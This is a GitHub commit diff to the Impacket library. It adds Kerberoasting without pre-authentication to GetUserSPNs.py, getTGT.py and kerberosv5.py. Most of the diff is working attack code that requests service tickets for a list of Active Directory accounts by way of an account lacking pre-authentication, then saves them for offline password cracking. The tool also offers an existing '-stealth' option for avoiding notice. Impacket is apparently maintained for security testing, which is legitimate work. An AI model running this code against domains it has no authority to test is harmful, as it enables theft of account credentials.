Skip to content

Commit

Permalink
Support for Kerberoasting without pre-authentication and ST request t…
Browse files Browse the repository at this point in the history
…hrough AS-REQ (#1413)

* Support for ASREPKerberoast

* Fixing undefined name 'tgs'

* Typo on the argument, -preauth changed to -no-preauth

* Fixing args handling, -usersfile is needed if -no-preauth

* Handling case when service is None

* Update kerberosv5.py

* adding param to getKerberosTGT to return or raise depending on context

* specifying serverName param in getKerberosTGT calls

* specifying serverName param in getKerberosTGT calls
  • Loading branch information
ShutdownRepo committed Oct 4, 2023
1 parent 57a3e09 commit c3ff33b
Show file tree
Hide file tree
Showing 3 changed files with 89 additions and 44 deletions.
83 changes: 57 additions & 26 deletions examples/GetUserSPNs.py
Expand Up @@ -43,7 +43,7 @@
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.asn1 import TGS_REP, AS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
Expand Down Expand Up @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__no_preauth = cmdLineOptions.no_preauth
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
Expand Down Expand Up @@ -173,9 +174,11 @@ def getTGT(self):

return TGT

def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
if self.__no_preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand Down Expand Up @@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
Expand Down Expand Up @@ -428,31 +431,52 @@ def request_users_file_TGSs(self):
self.request_multiple_TGSs(usernames)

def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()

if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()

if self.__no_preauth:
for username in usernames:
try:
no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,
password=self.__password,
domain=self.__domain,
lmhash=(self.__lmhash),
nthash=(self.__nthash),
aesKey=self.__aesKey,
kdcHost=self.__kdcHost,
serverName=username,
kerberoast_no_preauth=True)
self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
else:
# Get a TGT for the current user
TGT = self.getTGT()

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()


# Process command-line arguments.
Expand All @@ -466,6 +490,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-target-domain', action='store',
help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
' through the AS')
parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '
'May cause huge memory consumption / errors on large domains.')
parser.add_argument('-usersfile', help='File with user per line to test')
Expand Down Expand Up @@ -510,6 +536,11 @@ def request_multiple_TGSs(self, usernames):
# Init the example's logger theme
logger.init(options.ts)

if options.no_preauth and options.usersfile is None:
logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'
' a list of SPNs and/or sAMAccountNames to Kerberoast.')
sys.exit(1)

if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
Expand Down
13 changes: 10 additions & 3 deletions examples/getTGT.py
Expand Up @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options):
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__service = options.service
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')

Expand All @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey):

def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName,
password = self.__password,
domain = self.__domain,
lmhash = unhexlify(self.__lmhash),
nthash = unhexlify(self.__nthash),
aesKey = self.__aesKey,
kdcHost = self.__kdcHost,
serverName = self.__service)
self.saveTicket(tgt,oldSessionKey)

if __name__ == '__main__':
Expand All @@ -80,6 +86,7 @@ def run(self):
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ')

if len(sys.argv)==1:
parser.print_help()
Expand Down
37 changes: 22 additions & 15 deletions impacket/krb5/kerberosv5.py
Expand Up @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost, port=88):

return r

def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None):
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None, kerberoast_no_preauth=False):

# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
Expand All @@ -119,8 +119,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
asReq = AS_REQ()

domain = domain.upper()

if serverName is None:
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
else:
serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
Expand Down Expand Up @@ -190,10 +193,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdcHost)
else:
raise
else:
raise
else:
raise
raise

# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
Expand Down Expand Up @@ -345,7 +348,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
if kerberoast_no_preauth:
LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText))
return tgt, None, key, None
else:
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
raise
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]

Expand Down Expand Up @@ -567,10 +574,10 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
nthash = compute_nthash(password)
continue
else:
raise
raise
else:
raise

Expand All @@ -594,22 +601,22 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
nthash = compute_nthash(password)
else:
raise
raise
else:
raise
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
sessionKey = TGS['sessionKey']
break

# Let's build a NegTokenInit with a Kerberos REQ_AP

blob = SPNEGO_NegTokenInit()
blob = SPNEGO_NegTokenInit()

# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
Expand All @@ -618,7 +625,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])

# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
Expand All @@ -638,7 +645,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)


authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003

Expand Down Expand Up @@ -697,7 +704,7 @@ def __init__( self, error = 0, packet=0):
self.packet = packet
if packet != 0:
self.error = self.packet['error-code']

def getErrorCode( self ):
return self.error

Expand Down

0 comments on commit c3ff33b

Please sign in to comment.